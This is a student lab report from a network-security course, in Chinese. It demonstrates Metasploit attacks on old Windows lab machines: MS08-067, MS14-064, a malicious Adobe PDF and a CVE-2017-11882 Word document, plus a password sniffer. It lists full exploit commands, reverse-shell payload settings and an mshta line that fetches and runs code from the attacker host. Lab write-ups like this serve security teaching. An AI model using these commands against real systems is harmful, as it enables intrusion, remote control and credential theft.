实验内容

一个主动攻击实践,如ms08_067;

一个针对浏览器的攻击,如ms11_050;

一个针对客户端的攻击,如Adobe;

成功应用任何一个辅助模块。


实验原理

MSF主要模块:渗透攻击模块(Exploit Modules)、辅助模块(Auxiliary Modules)、攻击载荷(Payload Modules)、空字段模块(Nop Modules)、编码模块(Encoders)、后渗透攻击模块(Post)

查看模块源码的目录:/usr/share/metasploit-framework/modules

本次实验使用的是Exploit ModulesAuxiliary Modules

  • Exploit Modules:指利用某种漏洞对目标主机进行攻击。渗透就是说攻击者通过目标主机上的一个漏洞将自己的恶意代码注入目标主机的系统,就像白蚁一样,从一个洞慢慢攻破整栋建筑。
  • Auxiliary Modules:帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。它和渗透攻击模块之间的关系就好像观察者和狙击手的关系,前者负责观察网络环境,得到准确的信息;后者就根据收集到的信息进行攻击。

实验步骤

(一)一个主动攻击实践

ms08_067(成功)

原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows 2000 Universal 192.168.1.164

步骤

1、kali中输入msfconsole进入控制台

2、在msf模式下输入search ms08_067或者search ms08-067查找与其相关的漏洞攻击程序,看到exploit/windows/smb/ms08_067_netapi的信息

3、输入命令use exploit/windows/smb/ms08_067_netapi使用该漏洞攻击程序

4 、输入命令show payloads查找metasploit下的有效攻击荷载(payload)

5、使用命令set payload generic/shell_reverse_tcp设置我们想要用的payload

6、使用show options查看该payload的状态,使用show targets查看可以使用的攻击类型

7、设置参数选项

set RHOST “目标主机的ip”
set LHOST “监听主机的ip”
set target 0 //自动选取
set LPORT “监听主机的端口号”
show options //再次查看payload的状态

8、使用exploit指令开始攻击,攻击成功后获取靶机的shell

(二)一个针对浏览器的攻击

ms14_064(成功)

原理:Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows XP Service Pack3+IE8 192.168.1.216

步骤

1、kali中输入msfconsole进入控制台

2、在msf模式下输入search ms14_064查找与其相关的漏洞攻击程序,看到exploit/windows/browser/ms14_064_ole_code_execution

3、输入命令use windows/browser/ms14_064_ole_code_execution使用该漏洞攻击程序

4 、输入命令show payloads查找metasploit下的有效攻击荷载(payload)

5、使用命令set payload windows/meterpreter/reverse_tcp设置我们想要用的payload

6、设置参数选项

set SRVHOST 192.168.1.144 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell, 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.144
set LPORT 5215
set target 0 //设置winXP靶机

7、使用exploit指令开始攻击

8、将生成的URL地址在winXP的IE中打开,建立了一个会话

9、输入sessions查看会话相关信息

10、输入sessions -i 1即可选择第一个会话,获取shell权限

(三)一个针对客户端的攻击

Adobe(成功)

原理:针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows XP Service Pack3+Adobe Reader 9.3 192.168.1.164

步骤

1、kali中输入msfconsole进入控制台

2、在msf模式下输入search adobe查找与其相关的漏洞攻击程序,看到exploit/windows/browser/adobe_cooltype_sing

3、输入命令use windows/fileformat/adobe_cooltype_sing 使用该漏洞攻击程序

4 、输入命令show payloads查找metasploit下的有效攻击荷载(payload)

5、设置payload和参数选项

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.144
set LPORT 5215
set FILENAME 20165215.pdf

6、使用exploit指令开始攻击,输入back指令退出当前模块

7、将生成的20165215.pdf文件复制到靶机上

8、打开监听模块,设置payloads和参数选项

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.144
set LPORT 5215

9、输入exploit 开始监听

10、将靶机中的pdf文件打开,攻击机成功获取到靶机shell

CVE-2017-11882(成功且唯一)

原理:此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行

实验环境

计算机 系统 IP地址
主机 kali 192.168.116.140
靶机 Windows 7 + office2013 192.168.116.130

步骤

1、在Github上下载MSF组件“Command109b_CVE-2017-11882.py”、“cve_2017_11882.rtf” 和python脚本“Command109b_CVE-2017-11882.py”

2、将“cve_2017_11882.rb”复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下

3、把下载的“cve_2017_11882.rtf”复制到/usr/share/metasploit-framework/data/exploits/目录下

4、把“Command109b_CVE-2017-11882.py”复制到/root/目录下

5、输入msfconsole进入控制台,然后输入reload_all命令重新加载所有模块

6、输入命令search cve-2017-11882测试虚拟机环境

7、输入命令use /exploits/windows/smb/`cve_2017_11882使用该漏洞攻击模块

8、设置payload和参数选项

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.116.140
set LPORT 5215
set URIPATH test

9、输入exploit开始攻击

10、打开另一终端,输入python Command109b_CVE-2017-11882.py -c "mshta http://192.168.116.140:8080/test" -o kail_help.doc生成word文件

11、把生成的kail_help复制到靶机中打开,是个空白文档

12、回连成功,输入sessions -i 1接管会话,成功获取靶机shell

(四)应用辅助模块的攻击

sniffer(成功)

原理:psnuffle是metasploit中的口令嗅探工具,只有在接入对方网络的初始访问点后才能进行嗅探

实验环境

计算机 系统 IP地址
主机 kali 192.168.1.144
靶机 Windows XP Service Pack3 192.168.1.164

步骤

1、进入/usr/share/metasploit-framework/modules/auxiliary目录查看有什么项目

2、选择sniffer网络嗅探器,进入目录,发现只有一个psnuffle.rb

3、输入msfconsole进入控制台

4、输入use auxiliary/sniffer/psnuffle使用该工具,并查看详细信息

由上图可知它嗅探的是任意协议,捕获的长度是65535bytes,时间限制是500s

5、设置靶机IP地址set RHOST 192.168.1.216

6、输入run开始运行,在靶机打开浏览器,看到kali捕捉到了这次会话


实验中遇到的问题

问题1:攻击ms08_067漏洞时遇到如下问题

解决方法:确认靶机445端口开启,且模块的targets确实包含Windows XP SP3 Chinese - Traditional (NX),攻击仍然失效,网上有资料称该系统已打上此补丁,最后重新使用其它版本虚拟机进行攻击


基础问题回答

用自己的话解释什么是exploit,payload,encode.

  • exploit就是通过漏洞将自己的恶意代码植入目标主机从而达到攻击的目的,指的是一种攻击的手段
  • payload相当于是一段恶意代码,或者说是一个装有恶意代码的容器,通过载荷就可以控制目标主机
  • encode是编码器,就是通过编码将恶意代码进行封装或伪装,使其不被目标主机检测为恶意程序

离实战还缺些什么技术或步骤

就实验而言,都是靶机主动触发恶意代码使攻击方入侵成功的,而在实际生活中,用户不会随意点击可疑文件、登录可疑网址,因此,我认为如何让用户在无意识地状态下执行恶意代码是攻击能否成功的关键,实验中利用的漏洞都是很久的版本,现在的软件早已打好补丁,因此发现新的漏洞也是实战成功的重要条件。

2018-2019-2 20165215《网络对抗技术》Exp5 MSF基础应用的更多相关文章

  1. 2018-2019-2 20165205 《网络对抗》 Exp5 MSF基础

    2018-2019-2 20165205 <网络对抗> Exp5 MSF基础 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1 ...

  2. 20155227《网络对抗》Exp5 MSF基础应用

    20155227<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:把实现设置好的东西送到要攻击的主机里. ...

  3. 20155232《网络对抗》Exp5 MSF基础应用

    20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击 ...

  4. 20155302《网络对抗》Exp5 MSF基础应用

    20155302<网络对抗>Exp5 MSF基础应用 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  5. 20155323刘威良《网络对抗》Exp5 MSF基础应用

    20155323刘威良<网络对抗>Exp5 MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实 ...

  6. 20145301 赵嘉鑫 《网络对抗》Exp5 MSF基础应用

    20145301 赵嘉鑫 <网络对抗>Exp5 MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS14_064渗透实验  (首用) 渗透实验三:Adobe ...

  7. 20145215《网络对抗》Exp5 MSF基础应用

    20145215<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码 ...

  8. 20145208 蔡野 《网络对抗》Exp5 MSF基础应用

    20145208 蔡野 <网络对抗>Exp5 MSF基础应用 链接地址 主动攻击:利用ms08_067_netapi进行攻击 对浏览器攻击:MS10-002 对客户端攻击:adobe_to ...

  9. 20145311王亦徐 《网络对抗技术》 MSF基础应用

    20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms ...

  10. 20145325张梓靖 《网络对抗技术》 MSF基础应用

    20145325张梓靖 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,这里以 ...

随机推荐

  1. iOS 开发中字典和字符串的转换

    1.字符串转字典 NSString * jsonString = @""; NSData *jsonData = [jsonString dataUsingEncoding:NSU ...

  2. Android第四次作业

    一.团队成员 成员1:刘宇莹 学号:1600802122 班级:计算机164 博客链接:刘宇莹 成员2:孟鑫菲 学号:1600802092 班级:计算机163 博客链接:孟鑫菲 二.团队项目apk 拍 ...

  3. __x__(14)0906第三天__<iframe> 内联框架 引入有一个外部html页面

    在现实开发中,不推荐使用内联框架,因为<iframe></iframe>中的内容不会被搜索引擎检索. 在特殊情况中,如内网项目,不用放在互联网上时,可以使用<iframe ...

  4. myeclipse使用git图文教程

    Git介绍与使用 1.什么是Git Git是分布式版本控制系统 Git是一款免费.开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目. 2.集中式版本控制系统(CVS / SVN等) 集中 ...

  5. oracle12c

    12c和11g环境是一样的,请参考前面 一.设置环境变量 vim /home/oracle/.bashrc ORACLE_BASE=/data/app/oracle ORACLE_HOME=$ORAC ...

  6. Overview of Azure Storage

    Azure Storage types Blob storage. Containers for data blobs. The three types of blobs are: Page blob ...

  7. JAVA RPC (七) 手把手从零教你写一个生产级RPC之client请求

    上节说了关于通用请求代理,实际上对spring的bean引用都是通过koalasClientProxy来实现的,那么在代理方法中才是我们实际的发送逻辑,咱们先看一下原生的thrift请求是什么样的. ...

  8. Excel文件导入导出(基于Nodejs、exceljs)

    Excel导入.导出是大多数项目的管理后台必备功能.几年来使用过多个该功能的实现包,最近一次开发该功能,突然发现一个人气极高(3000+)的包,这里记录一下使用方法. 大凡厉害的技术的文档咋一看都想字 ...

  9. anaconda安装tensorflow报错 No module named 'tensorflow'解决方法(windows)

    这个错误的原因可能是,anaconda安装的python版本为3.7,现在tensorflow仅支持python 3.6   改变python版本:首先在命令行创建一个名为python36的环境,指定 ...

  10. 基于RAP(Mock)实现前后端分离开发

    看看RAP的官方定义: 什么是RAP? (Rigel API Platform) 在前后端分离的开发模式下,我们通常需要定义一份接口文档来规范接口的具体信息.如一个请求的地址.有几个参数.参数名称及类 ...